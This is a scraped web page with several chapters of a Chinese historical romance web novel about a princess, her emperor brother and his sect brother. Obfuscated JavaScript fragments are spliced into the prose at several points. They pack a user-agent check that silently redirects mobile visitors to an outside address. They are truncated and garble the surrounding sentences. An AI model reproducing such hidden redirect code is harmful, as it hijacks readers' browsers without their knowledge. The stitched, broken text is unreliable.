l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437940|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会允许我离开吗? “都这么大人了,怎么还是要兄姐来约束,在他们身边,就过得舒心吗?家里来信了,要我回去看看,你同去一起去,怎么样?” 这句话让暖暖有了反思,也许她真的可以与师英玉一起离京。 回去后她想了两日,最后决定进宫去一趟。 她先去拜见了淑太妃,临华殿时,淑太妃正送长公主叶秋韵出来。 长公主挽着舒太妃的胳膊,二人有说有笑,很是亲密。 淑太妃抚着长公主的手:“这身子渐渐重了,就不要老往宫里跑了。” “我府上也是冷清,过来能与太妃说说话,我这心里也舒畅多了。能有这孩子,全靠太妃出面,不然的话我可真是要孤独一生了。” 淑太妃压低了声音:“驸马可还去修行?干点什么不好,非要练这秘术,我看真该把那帮道士砍了。” “随他去吧,如今有了孩子,我只要保他平安便好。”长公主说罢,心满意足地抚了抚肚子。 “一个怎么行,还要再生几个才好,等孩子生了,寻个由头将府里的姬妾都打发了。” “是,全听太妃吩咐,只是这孩子是国丧期间怀上的,怕是将来会被人诟病。”长公主眉间隐隐有些担忧。 “不要想那么多,由本宫保着,别人不敢说什么。我亲生女儿走到早,膝下空虚,就希望你们都能儿女双全的,本宫是喜欢热闹的人,可这后宫却冷冷清清的。” “等孩子生下来,太妃帮我养着,太妃不嫌烦才好。” 淑太妃被逗笑了,刮了一下长公主的鼻子:“看你到时候不舍得怎么办?” 长公主满脸幸福,一副小女儿姿态。 暖暖上前问安。 长公主恢复了平常神色,笑道:“妹妹来了,正好你陪太妃说会儿话,我还要去建章殿看看,三弟他们这几日就要搬出去了。” 说罢她向太妃告退,由侍女扶着走了。 暖暖问道:“大姐姐可是有孕了?” 淑太妃面露欣慰,挽着她的手往回走:“是啊,胎还未坐稳,不好声张,成婚这么多年了,终于有后了。” “姐夫在道观修行什么?” 淑太妃未回答,只嗔怪道:“小孩子别多问。” 太妃精神很好,面色也红润了不少,她拉着暖暖的手絮絮叨叨说了很多话,又叮嘱:天气暖了,京中的雅集诗会、击鞠赛要多去看看,不要辜负了这好春光。 暖暖自然明白其中的意思,但她从未想到过此事。 从临华殿出来,她本想先去建章殿看夏萱,但看看天光,已临近午时,恐打扰到叶皓午憩,于是先来到了太极殿。 叶皓正在召见臣工,她未让通报,在偏殿静静地等候。 喝了两盏茶,又吃了一碟糕点,正昏昏欲睡之时,中官才来传唤她去面圣。 太极殿中,叶皓命人传膳,可手中的笔仍未停。 暖暖走到殿中,看到阳光透过窗棂,照在叶皓的金丝绣龙袍上,闪出耀眼的光,章显着至高无上的威严。 他是帝王! 暖暖觉得应该跪拜,可心中却不愿,站在殿中不知道该说什么,旁边的中官朝她使了几个眼色,她只当未看见。 叶皓手中的笔未停,开口道:“你终于肯来见我了?” 102. 相思不得见 “是你不见我!”暖暖说着偏过头去,心中委屈,泪水在眼里打转。 叶皓起身走到她跟前,用手敲了敲她的头:“也就你敢这样跟我说话,用膳了吗?一起?” 熟悉的动作、熟悉的语调,让她心中那股陌生感一下子就消散了,同时消散的的还有她心中的怨怼。 亲人之间无需多言。 一切似乎变了样,一切又似乎又没变。 她将泪水被收了回去,陪着叶皓坐下用膳,一碟糕点已下肚,此时,她并不饿。 叶皓命众人退下,端起碗就大口用了起来,他见暖暖只用勺子搅着碗里的汤,问道:“怎么?不饿还是不合口味?” “不饿……” 叶皓突然想到了什么,笑问:“是嫌弃无酒吧?我在这里可再没有了。” 暖暖摇摇头:“你每日都这样忙吗?用膳也没个时辰。” “是啊,每天都有处理不完的事情,哪像你,吃喝玩乐,好不快活。” 暖暖拿着勺子的手顿了一下,问道:“你监视我,是不是怕我把实情说出来。” 叶皓一愣,随即恍然大悟:“所以,你就是因为这个不来见我?” “你就说是与不是?” “这个你可真是误会我了,我并非监视你,是真心担忧你的安危,我让你出宫去也是为了保护你。你将诏书藏了这么久,难免会有疏漏,你走后,我便将后宫彻查了一遍,倒也清理不少细作出来。” “那你为什么不明说,还的我那么凶。”暖暖说着有些哽咽,回想那日叶皓的冰冷,她依旧觉得心寒。 “当时是气你为什么不早说出来,非要把自己逼到疯魔的程度,差点将命都搭进去。” 暖暖叹了一口气:“我……矫诏欺天……怎么都是一死。” “你就这想?你就是这样想你哥哥们的?有什么事是咱们不能一起解决的?”叶皓放下碗筷,缓了缓说道:“暖暖,我知道,这件事上,你不相信我。我知道你留下遗诏的目的,你是怕我接不下父皇这重担,担不起一国之君的责任,在你心中,三哥才是最好的人选,可你为什么还是要这样做?” “你说过,要为秦羽、为长右山报仇。”暖暖说完才意识到自己说了什么,这些事她以前并不记得。 叶皓听完,拿着筷子的手顿了一下,问道:“你到底是真失忆了,还是装的?自己的事什么也不记得,别人的事倒是记得一清二楚。” 暖暖不语,眼神变得黯淡,嘴角微微下垂:“哥,我以前到底经历过什么?” 叶皓长舒一口气,说道:“往事不可追,你且只看前路便好。” 往事不可追!暖暖点点头,人生大抵都是如此。 叶皓继续说道:还有,你放心,我既然坐到了这个位置上,就不会让你失望,不会让天下人失望。” “哥,我相信你,我发誓,此事再不提起。”暖暖伸出三根手指对天发誓:“若违此言死……” 叶皓立即将她的手拉下来,说道:“何必这样,你就是说了也没有证据。” 说完二人会心一笑。 用完了膳,叶皓命人进来收拾,净了手之后,拿出一叠奏折说道:“你看,这些都是求婚的奏书,要不要看一看?” 暖暖接过,原封不动地放了回去:“哥,我今日来是想跟你说,我要走了。” 叶皓疑心她又有什么想不开,皱着眉头问道:“走?去哪里?” “天下这么大,我去看一看。”暖暖说完,整个人显得轻松了不少。 叶皓心里也松了口气,只要她好好的,怎样都可以,但是他还是担心她的安危:“你自己一个人?怎么行?” “我今天不是来征得你同意的,是来通知你的。” 叶皓没想到她会如此说,调侃道:“呵,倒是有公主的派头,将舒雁留下,我便准你离京。” “你……哼!”暖暖被气到语塞。 叶皓换个了个口气:“开玩笑的,梁帝会这样做,但是你哥哥不会,想好去哪里了吗?” “没有,先跟师姐姐去徽州看看,之后再说。” “这师英玉若是男子,我定要治她一个拐带公主的罪。”叶皓边思考,边为她规划:“去维扬吧,我在那有套宅子,虽然不大,但是也够你住了,季萧在那边,以后让他跟着你。” “好。”暖暖怕叶皓反悔,痛快地答应了。 叶皓将一块绸布掀开,里面是一架琴,琴身有烧灼的痕迹,但是已经修补好了。 他坐下弹了半阙曲后停下:“修得再好也不如原来的音色。” 暖暖迟疑了一下后问道:“这是……锦瑟的琴?” “是,你带走吧,它本就是那里来的。”叶皓说罢将琴又盖了起来。 暖暖看着他的失落,劝道:“也该放下了。” “你不懂……”叶皓长舒了一口气:“好了,臣工已经在外等候,回去吧,有什么事同韦素讲,我估计不能去送你了。” 他唤来韦素,命他将琴包好送平阳公主回去。 他知道,暖暖是要奔赴美好、自由的河山,他的伤感和不舍不能显露出来,他不能影响她的好心情,就这样平平淡淡地道别便是最好的。 离开太极殿,暖暖又去了建章殿,叶均受了寒,有些发热,夏萱服侍他喝了药刚睡下。 暖暖悄悄了看了叶均,又看着疲惫的夏萱,没有说她要离开的事情,只是告诉夏萱她与陛下已经和好了,让夏萱不要担心,并叮嘱夏萱也多休息后,之后便离开了梁宫。 叶皓站在宫墙的角楼上,遥看暖暖的马车离开。 他心中十分惆怅,当年师傅让他下山历练,未曾想到会是这样的结局:秦羽身故、父母双亡、兄弟疏远,妹妹远走,他在这个位置上真的太孤独了。 这一场历练,他付出的代价太大了。 桃花又见一年春,二月十三一早,暖暖与师英玉一起出发,她要先徽州替叶皓祭拜师老将军,再转去维扬。 叶皓派了一支队伍护送。 梁京东郊留春亭,韦素对公主说道:“公主殿下,属下就送到这里,季萧在徽州接应公主,愿公主一路平安。” 暖暖没有伤感,因为等着她的是另一处繁华。 韦素辞别公主,看着队伍远去后,正余动身返程,却收到了密报:有人求见陛下,并附信物一件。 信物是南城裕丰铁匠炉上送来的,这铁匠炉是叶皓直辖,非紧急情况不得传递消息。 韦素知此事非同小可,便孤身轻骑进京入宫向叶皓汇报。 叶皓收到密报也甚是惊讶,但看到刻着“长风”二字的玉牌,立即明白是求见者是何人,于是交代一番,命韦素立即去裕丰铁匠炉交接。 韦素来到铺子里,掌柜说那人孤身一人前来,遮掩得厚实,只说要见主上,未留下任何联络方式,说他明日会再来。 韦素怕错过任何消息,在铺子里等了一个晚上,次日临近午时,那人果然又来了。 铁匠立即将人带到了后院密室内。 韦素见到那人真容后,惊讶不已,陛下当时交代来人或是泽生,不想却是崇宁王本人,他端然施礼道:“崇宁王殿下,陛下已经等候多时了,请随在下来。” 二人上了马车,马车却直奔平阳公主府。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447519|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>为掩人耳目,他们在角门处停下,侍卫早已清理了周围闲杂人,冷逸尘独自进入,里面自有中官等候,直接引着他行至水榭揽月亭。 叶皓一身深蓝色常服,正站在栏杆旁看着池中之鱼,但见来人戴着笠帽,围着围巾,眼底不禁闪过诧异。 此人这般模样,怎么会是他师弟? 他抬手示意左右侍从皆退下,说道:“放心,这里没有别人了。” 冷逸尘这才摘下斗笠,解开围巾,将真容露出来,他头发干枯、眼中布满血丝、面色蜡黄,下颌的胡茬已有半寸长。 叶皓看了直心酸,当年的翩翩少年竟成了这副模样,他皱眉道:“怎么把自己搞成这个样子。” 冷逸尘欲行叩拜礼:“陛下……” 叶皓一手扶住他的胳膊,带着不容置疑的口吻说道:“叫师兄!”说完将玉牌还给他。 师兄,多么亲切且遥远的称呼,冷逸尘听了有些惊讶,而后忽觉心中委屈得发酸,将玉牌收了,哑着嗓子叫了一声:“师兄……” 说着眼泪便流了下来,连连质问:“师兄,为什么不让我来?为什么不见我?” 叶皓让他坐下,给他倒了一杯水:“是我不知道该怎样面对你,我没有保护好叶岚。” 之后他便将叶岚归来后的事情全部说出。 只是说到孩子的时候,冷逸尘脑子里嗡的一声,只觉一片空白,不敢相信地问道:“孩子?我和叶岚的孩子?” “不然呢?她那时已有两个月的身孕,你……当真不知道?”叶皓微微蹙眉。 冷逸尘陷入回忆,细算来孩子应是中秋前就怀上了,宫变中叶岚经历的生死之地他未能护在她们身边,宫变后,她们最需要他到时候,他却觉得是她任性而为。 他默默地低下头,双手紧握,指甲深深陷入掌心,嘴唇微颤,欲言又止,眼神中带上了深深的自责。 看他这个样子,叶皓已了然:“我当时只当是她在为你开脱,原来你是真的不知道,你就是这样为人丈夫的?” 冷逸尘:“是我忽略了她,是我对不起她,她在哪里,我要见她。” 叶皓站起身来,躲避了他的目光:“我也没保护好她,让她置身险地,受了重创,现在她已经……不记得你了。” 这接二连三的意料之外,让冷逸尘接受不了,他站起身来,将难以置信的目光投向叶皓:“不可能……师兄,这不可能,你骗我……她怎会忘了我?” “带我去见她……求你让我见见她……”他双手拉着叶皓的胳膊,跪下身去,话音里已带上了哽咽。 叶皓将他扶起,继续说完了后来的宫变一事:“她似乎伤到了头部,只记得自己是平阳公主,叶青。我多次暗示过她,她对你一点印象都没。玄门太一剑法,暖暖用了两次,一招白虹贯日、一招海立云垂,每次都对她的身体造成伤害,你可知是何原因?” “此剑法是招式与心法配合运用,才能达到人剑合一的境地,我只教了她招式,还未来得及传授心法。且心法极难,就是师傅也没有掌握全部要领,我也没想到她竟能自己揣摩出来。” 所谓“心法”,即体内气息的运转,稍有差池,便会伤及自身。 叶皓有些理解了:“大约是她的心法用得不对,体内气息周转不畅,才遭到了反噬,怪不得,她这头疾不知看了多少郎中,喝了多少药也不见效。”他又问道:“你为何无事?” “说来惭愧,自下来长右山,我便没有去深入探究过剑术。” 提及长右山,叶皓问道:“你有没有想过为长右山师弟报仇。” “有过,可是……”冷逸尘欲言又止。 103. 天命难由己 “只是什么?”叶皓不理解,难道他不想为师门报仇? “师门里迟迟没有动静,我想是因为两个原因。其一,师伯避世静修,恐长右山卷入江湖纷争;其二……”冷逸尘看了一眼叶皓,眼神复杂,似乎内心在做一场激烈的斗争。 最后他还是说道:“其二,招摇宗圣女是师姐的亲生母亲。” 叶皓听完,大为震惊,他在长右山,从未见过师娘,师傅只说师娘早逝,却不想其中有这样的缘由。 冷逸尘继续说道:“这件事只有师傅和师伯知道,我也是无意间听到他们的谈话才知道的,师姐都不一定知道此事,她没有养在师傅身边,而是拜在了师伯的门下,也是此原因。” 叶皓听完,一时间竟不知该说什么,上一代的恩怨,风风雨雨几十年了,依旧不能消散。 冷逸尘的心还在暖暖身上,他追问:“师兄,叶岚她在哪里?” “出京去寻医疗疾去了。”叶皓说完从袖中掏出两封信来,拿着一封撕碎后后又粘好地说道:“这是你上次留给她的书信,她没有看……” 又拿着另一封说道:“这是宫变前她写给你的,说是你们骤然分离,此事要与你有个交代……但我能看出她心里还有你,只是她自己不愿意承认。” 冷逸尘打开第二的信,熟悉的字迹映入眼帘。 “冷逸尘,顺颂时序。 自安定城一别,已过半载。与君相识三春,谢君真心相待,骤然离别,是天意如此,我不恨无悔亦无怨。叶岚已逝,便是前尘往事已随风,君亦应挥袖断旧梦,此后云飞泥沉、金铄兰灭,玉音不嗣,瑶华莫因。 愿君余生顺遂无虞、皆得所愿。 叶青,乙巳年四月廿三。” 冷逸尘看着字字诀别,心碎如刀绞,闭上眼睛良久喘不上气来。 不该是这样的,她该恨他,该恨极了他,他愿意用他的余生去偿还、去弥补,如果她想要他的生命,他也会毫不犹豫地交给她。 而不是像现在这样,彼此行陌路,江湖两相忘。 叶皓拍拍他的肩膀;“这是她的公主府,去整理整理自己,我带你去她住的地方看看。” 说罢唤来侍从,冷逸尘还在震惊中恍惚,任由中官带着去沐浴更衣。 一番沐浴洗涤后,他换上了一身天青色的衣衫,这是叶皓专门命人准备的。 天青色,是长右山的颜色。 叶皓在淡云阁内准备了宴席,他知冷逸尘不能饮酒,便将冷逸尘的酒换成了水。 “师兄……” 叶皓闻声转身,见冷逸尘的一瞬间,仿佛又回到了多年前,长右山最高的悬崖边,那时他二人,少年意气风发。 只是,眼前人的双眸中再无星辰之光。 只是,他自身没有资格再穿天青之色。 二人对座而饮,叶皓劝道:“长风,我之前不让你来访,一是我朝之事尚未平息,二是我不知如何面对你。重峪关之后,叶岚生死未定,孩子保到了四个月,还是因为意外没了,此后她便一直郁郁寡欢,从来没有提过你和孩子。此番失忆,对她而言不为是一种解脱。” 冷逸尘眼底蓄满悲伤:“师兄……你是想劝我放手?” 叶皓捻着酒杯的纹饰,缓缓说道:“她现在很好,也很轻松,若你现在贸然出现在她眼前,我只怕她会再陷入痛苦之中。” “是我的错,不该将她丢下……” “这不是你的错,事急从权,你若将她带回去,依你朝的情况怕是不能护她周全。” 冷逸尘沉默不语,的确,那时他听闻何敞围困京师,他立刻率军归京,那一战打得艰难。 叶皓自斟了一杯酒:“长风啊,缘分使然,有些事不是你我可以左右的。我替她问你一句话,这个问题困扰了她很久。她想问你对她的感情,是不是不得已?若换一个人去和亲,你们是不是也会相知相爱,你并不是非她不可。” 冷逸尘抬眼,目中含悲:“我是非她不可……我心中只有她一人,再也不会有第二个,就像师兄说的缘分使然,我们隔着山山水水,却还是成了夫妻,这便是缘分。” 叶皓思量了一番,说道:“我想她必然是知道你的心的,而她这般不自信,要反复追问个结果,是因为没有安全感,她孤身一人,无亲无友,你是她唯一可以信任和依靠的人。” 冷逸尘神色又黯然下去,在燕北的屋顶上,叶岚含着泪对他说过同样的话,当时他是理解她的:“这些我都知道,是我做得不够好,爱她不够多,才会让她有如此担忧。师兄,能不能让我……见见她……”他的声音里带着一丝哀求。 叶皓没有正面回答:“见一面又能怎样呢?她不记得你,你要说什么?我知道你想与她在一起……” 这句话说到了冷逸尘的心坎上,他抬头看向师兄,眼中闪过一丝希望。 叶皓又问了一串问题:“但是怎样在一起呢?是带她去祁国?还是你留在梁国?带她回去,能确保她的安全吗?你留在梁国,祁国上下会答应吗?” 这一番话令冷逸尘沉默,此前他访梁,便想接回叶岚,奈何梁国给出定论,重峪关一战中昭阳公主身亡,这便是断了他的念想。在梁京城外十里亭,他与叶皓离别之时,叶皓说过‘日后还会再见’,这句话是他能坚持到现在的唯一信念。 而后叶皓登基,他总觉得此事还有转圜的余地,便三番五次要求访祁囯,未想他师兄却屡屡拒绝。见叶岚一面的这个信念已经成了他的执念,时间越久、执念越深。 来这里已经耗费了他大量的精力,他未想过之后该怎么办。 他如今在祁国的处境尴尬,祁帝冷书屿毕竟年幼,虽信任他这个叔叔,但亦信任程家舅父。 程家忌惮冷逸尘皇叔之位,生怕哪天他会取而代之,于是联合内阁排挤他,而他惯不屑于党争,故而主动放手了很多权力。 而朝中冷氏宗亲却也不满程家之势,朝堂渐渐分为冷、程两派。 何敞之乱平息后,冷逸尘便力排众议,多次提出出使梁国,最后他甚至请命驻守梁、祁边境,只为梁国同意后能尽快到达梁京。 此举却让程家一派抓住把柄,奏议崇宁王与梁国关系暧昧,有通敌叛国之嫌,加之临近年关,冷逸尘只得暂时回京。 出了正月,他便以军中事务未结为由,再次来到了边境,但他不能久留,只能棋行险招,命泽生镇守大营,他孤身前往梁京。 此时,若带叶岚归国,的确会引来更多非议,而留在梁国,他从没有这样想过。 此事已无解,他忽觉心死如灰,但他还是不甘心:“师兄……我该怎么办?” “怎么办?你有没有想过,当初宫变之时,你若坐到龙椅之上,会不会是另一番天地?”叶皓心中叹了口气,他知道自己这样问都是多余,他这师弟太过正人君子了。 冷逸尘摇头:“父皇留有遗诏,储君不是我……我不能违逆父命。” 这回答果然不出叶皓所料,他感慨:“诚信守约,君子之行,你果然还是长右山的凌长风,从未变过。” “长风,给暖暖一些时间,若她能记起你,若那时她心中还有你,若她以后想见你,我绝不阻拦。这里是她的住处,你一个人在这里冷静冷静。” 叶皓说完便利开了,他知道他现在需要时间和空间去释放情绪。 冷逸尘起身走到里间,果然是闺阁女子的卧房,茉莉花香扑面,一股熟悉的感觉瞬间萦绕周身,他整个人仿佛定住了一般,动弹不得分毫。 记忆涌来,叶岚的一颦一笑展现在他的眼前。 “冷逸尘,你什么时候回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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细作?不可能,韦素办事向来周全,不会出疏漏,叶皓想出去看看。 冷逸尘却说道:“是我的侍卫,我们有约定,我不出去他便想办法寻我。” 叶皓命人将侍卫带进来。 冷逸尘趁此期间他束起头发,整理衣衫衣服,将叶岚的信放在怀中。 侍卫进来后跪拜冷逸尘,交个他一个纸条,是飞鸽传书:“匈奴突袭北境,内阁命将军领兵出征,将军速归,泽生。” 冷逸尘看过字条,眼中满是绝望。 就在刚才,他做了一个决定,他回去后安顿好一切,便去找叶岚,他们会重新相遇,重新相知相爱,一切都重新开始。 但是这么快,这一切都破灭了。 他悲戚地说道:“师兄,为什么?这难真的是天意……” “发生什么事了?” “送我出城吧,我该回去了。” “是国事?” 冷逸尘点点头:“让我在和她道个别……” 叶皓出去后,他起身走到书案前,看着叶岚留下的字迹;又走到妆台前,拿起她所簪过的发钗,心中的凄凉不能言表。 叶皓安排车架送他出城。临走,临走时交给他一个香囊,说道:“这是她绣的,我想应该是给你的,长风,好好活下去,长右山的剑法还要传承。” 叶皓在粘贴信纸的时候看了内容,里面写暖暖要给他绣个香囊。 冷逸尘接过香囊,倒退两步对叶皓行叩拜大礼,说道:“请陛下善待平阳公主,不要再让她受苦难,冷逸尘在此谢过陛下了。” “放心,朕自会照顾好她。” 叶皓只能将他送至角门,看着他的离去的背影,无限唏嘘。 104. 江湖又重逢 维扬三月三,杨柳醉春烟。 暖暖到达维扬之日,正值花朝时节,城外城内皆是碧水桃花色,处处游人似潮涌,繁荣之盛不输京城,甚至比京城更多了一层婉约之美。 邗沟穿维扬而过,这邗沟是春秋时期吴国开造的运河,前朝人渠化堰坝,疏浚塘陂,引水济渠,南北商贸往来多有便利,客商云集,维扬因此漕运兴盛、经济繁荣。 叶皓置办的这处宅院真是不错,在知春巷最里面,出了巷子便是繁华闹市,颇有“大隐隐昭市”之感。 季萧在公主来之前已将宅子安排妥当,内院六个侍女、两个婆子,外院小厮及车夫马夫六人,皆是侍卫假扮的。 暖暖还在路上时就喜欢上了这里,看了宅子更加高兴,虽然环境陌生,但却没了拘束,自在非常。 生活欢快如溪水,她的头疾也好了许多。 京中每月都会送来许多东西,脂粉首饰、绫罗衣衫,还有鹿茸、灵芝等补品。 首饰布料太过名贵华丽,她恐穿上了就再不能去茶肆听书,而补品她也用不到,于是修书一封至叶皓,表示自己在这里用不到这些东西,不要再送来了,京中这才作罢。 漕运带来了天南海北的商人,也带来了天南海北的故事。 这日,暖暖照旧到了茶肆,依旧坐在老地方,店内的伙计问都没问,直接给她上了一壶茉莉清茶、一碟白果并一碟烤栗子。 今日说书先生讲的是“吕奉先辕门射戟”,正说到温侯欲搭弓射箭时,一个高个子的人坐到了她旁边的位置上。 冰绡警惕地看了他一眼,并向公主靠了靠。 高个子开口道:“这位小娘子,来听书呀!” 暖暖听的正起劲,简单了“嗯”了一声。 “小娘子这珍珠发簪真是不俗。” 这珍珠发簪是暖暖翻捡旧物时找出来的,看着甚是精美,便随手簪在了发髻上。 冰绡从靴子中掏出匕首,拍到桌上:“你看这上面的珍珠是不是也不俗?” 那人见状也客气了几份:“姑娘别误会,在下只是看着这发簪上的珍珠稀有,想问问哪里可以买到。” “家里人给我置办了,我也不知道哪里买的。”暖暖依旧没有看他,仔细听书,生怕漏掉了一段。 “敢问姑娘这只发簪可卖否?我出二十两。”高个子说着伸出两根手指,上下晃动着晃动着。 “不卖。”暖暖回答得干脆。 高个子并不放弃:“实不相瞒,我家娘子最喜珍珠,我也是为我家娘子。” 见这姑娘还不理,高个子狠了很心:“四十两怎么样?” 冰绡开口:“你家娘子喜欢,就让别人忍痛割爱,是什么道理?我家小姐说了不卖就是不卖,少在这里啰嗦。” 那人看着冰绡带着杀气的眼神,心知惹不起,轻轻摇摇头,抱憾离开。 听完了书,暖暖拔下发簪,看着也没有什么稀奇,便问冰绡:“这发簪这么值钱吗?” “属下哪里知道这些,小姐不如去问问舒雁……”但冰绡转念一想,又改口:“问她不如问当铺。” “一件首饰,费那么多功夫做什么,还不如好好听书。”暖暖又将簪子簪回去,带着冰绡去买芝麻团子。 暖暖的日子过得轻松自在,冰绡与季萧却暗地里忙得不可开交。 叶皓秘密将暗卫从神武营分离出来,恢复神武营原有职能,将暗卫并入侍卫营组建了绣衣卫,由叶皓亲自掌握节制,负责搜集各种情报、监察百官,其中侍卫皆称绣衣使。 季萧与冰绡负责东路绣衣卫事宜。 到维扬后,冰绡渐渐摸清宅子周边的情况,确定没有潜在的危险后,便不再时时跟随公主,公主外出则由舒雁随侍,两名侍卫暗中保护。 维扬没有宵禁,夜里的光景要比白日里还热闹。 暖暖一开始还中规中矩的,如在京城一般,直至有一日听书回来的路上又热又渴,便在路边摊位上要了一碗荔枝膏。 这些摊子一般都是撑起一把大大的青布伞,当街一条板子,货物就都堆在上面,临河的一边摆上几个座椅,行人想坐下来喝些饮品,方便得很。 正巧摊主对伙计说道:“天气热了,今晚小市那边多准备些冰。” 暖暖边问伙计:“这里有夜市?” “姑娘是外地人吧?维扬的夜市热闹着呢。”伙计边说边用疑惑的眼神打量着暖暖,以为她是从小地方而来,但看她的衣衫面料,又不像是小门户的人。 “哪里的夜市最热闹?”暖暖好奇心起来,接着追问。 “从小市桥到广济桥,都热闹,顺着这条河就能到。”伙计说着顺着河的方向向北指路。 暖暖顺着河道放眼望去,只见河上浮着几条花船。 扬州城内的船只装饰得十分华丽,多用来载客玩赏,客商远来,一路劳顿,都愿在此地放松一下,附庸一番风雅。 忽然她听见有人喊她的名字“叶青”,寻声看去,只见一个身着墨绿色长衫的男子站在一条花船上,冲她招手。 此地怎么会有熟人,亦或是重名,暖暖没有理他。 未想那船向河边渡头靠来,舒雁看清男子模样,小声说道:“是于公子。” “哪个于公子?”暖暖并不记得。 舒雁便简单介绍:“于文则,长兴郡主的长孙,在京城时与公主见过。” 暖暖不知道舒雁说的是谁,总之和她可以论些亲戚,既然是亲戚,也不好将他撂下,一走了之。 她再次看向于文则,只见他正要从船上下来,一个手持牡丹团扇,身着锦鲤衣裙、鱼纹抹胸,簪花盘头女子从船篷里出来,朱唇轻启,声音悦耳:“于公子,别忘了今晚的晚宴。” 于文则回头,笑道:“放心,我自然记得。”说罢大步跳上渡头直奔暖暖而来。 船上的女子将团扇举到头顶之上,向暖暖的方向看了一眼后,转身进了船篷内。 连暖暖的目光都被那女子吸引,只觉她衣衫轻盈,身姿曼妙,尤其是转身时那一扭,披帛随风,更显腰肢如柳,人间竟有如此绝色。 舒雁见了于文则起身行礼,于文则直接坐到暖暖对面说道:“叶青,你怎么在这里?” 暖暖见他这般热络,猜想应该是之前与她很熟悉,于是也没有显出陌生的样子来:“游山玩水。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒雁此时上前一步,扶住公主的胳膊,说道:“小姐,咱们该回去了。” 于文则上前一步:“等等,等等,既然遇见了,不如一起用午饭。” 舒雁轻轻摇了摇暖暖的袖子,暖暖意会,拒绝道:“不了,家里人还等着。” “对了,今天晚上淑清楼有晚宴,一起去,怎样?” “我今天晚上有安排了,告辞。”暖暖说完带着舒雁离开。 看来之前的嫌隙还挺深,但是会有办法解决,于文则轻笑了一声也转身离开。 晚间,千门万户列华灯之时,暖暖与舒雁、冰绡坐船来到了小市桥,果真是火树银花不夜天。 水榭亭台,峻宇高楼,雪槛冰盘,浮瓜沉李,流杯曲沼,苞鲊新荷,摊贩挑夫,卖声不绝,杂卖杂耍,数之不尽,远迩笙歌,颇有通夕而罢点意思。 暖暖后悔没有早早打探到这里,现在甚至有些后悔用了晚饭,她与舒雁、冰绡三人一路看一路吃,最后手里还提了不少小食。 她让舒雁再尝尝芝麻糯米糕时,舒雁求饶道:“小姐,奴婢实在是吃不下去了。” 如此美食,怎可错过,暖暖又将米糕递给冰绡:“这个真的好吃,冰绡你吃!” 冰绡看着公主不肯罢休的样子,扭过头去说道:“小姐自己吃吧,属下明日再吃。” 暖暖见二人都不要,便塞入了自己口中,刚刚咽下去,便听见又有人叫她的名字。 105. 芙蓉一笑开 “青妹妹,好巧,又见面了。” 暖暖转身一看,竟然又是于文则。 此时,舒雁与冰绡都向她靠拢,冰绡甚至想挡在她身前。 于文则说道:“白日里请你你不来,这不又见面了。” 暖暖讪讪笑道:“真巧、真巧。” 于文则同行的两个好友,纷纷过来说道:“于兄,没听说你还有妹妹呀。” 他解释道:“是堂妹妹。”然后转向暖暖:“既然来了,同我一起去淑清楼看歌舞,如何?” 一个男子说道:“这淑清楼的歌舞全维扬属第一,今日这场晚宴更是早就筹备了,是锦绣姑娘亲自登台呢。” 暖暖:“锦绣姑娘可是白日里见到那个?” 于文则:“正是” 暖暖自然感兴趣,便答应了同去。 淑清楼的晚宴需要提前预订,暖暖没有请柬,到了门口便被拦了下来,于文则对那小厮耳语了几句后,小厮便放她通过,可舒雁却被拦在外面。 暖暖看突然不见了冰绡,便知她另有安排,又看着堂内男女皆有,想是不会有什么危险。 她此时玩心正盛,便对舒雁说道:“你在外面玩玩,我一会便出来。”说完便跟着于文则等人进去了。 舒雁唤了几声“小姐”也未唤回公主,只得一人在外焦虑不安。 冰绡早已趁人不注意,闪入暗处,找到两名暗卫,同他们一起潜入了淑清楼。她与舒雁不同,她对主上的命令绝对执行,不问原因、也不规劝,她的任务是保主上平安。 淑清楼内是一圆形舞台,舞台外摆了两圈座位。 暖暖没有位置,只能在于文则旁边加了一个小坐,美酒美食列于座位前的小案上。 她问于文则:“你跟他们说什么了?能放了我进来。” 于文则剥了颗葡萄,目光扫过楼内装饰,漫不经心地说道:“没什么,使了银子,吃呀,别看着。” 暖暖看看食物,皆是宴席上的菜式,虽然看着精致,但却不如刚才在外面吃的味道好,她随便拿起来一颗荔枝把玩。 周遭丝竹声连连,人声混杂,忽然从二楼传来两声清脆的拍手声,于是一切安静了下来,光也暗了下来。 二楼走廊上有几人持铜镜将烛光反射至舞台中央,紧接着琵琶声起,一身着红裳的曼妙女子缓步走到中间,朝众人缓缓施了一礼后,随着琵琶声翩翩起舞。 只见那女子柔美的腰肢,如柳枝随风般摇曳;手臂缓缓展开,如同花儿在绽放;优雅地旋转,如同风车在微风中转动。 有人将一把折扇抛过去,那姑娘伸手,稳稳地接住,轻轻捻开遮住面庞,又用牙齿咬住扇柄,回首后又将头轻轻一歪,折扇闭合,便是芙蓉秀靥生红晕,眼眸轻抬,便是流光顾盼生光辉。 继而其它舞姬上台共舞,一时间如百花齐放,万艳竞春,随后琵琶声渐歇,舞姬也停下,谢幕退场。 随着众人的喝彩声响起,周围也明亮起来。 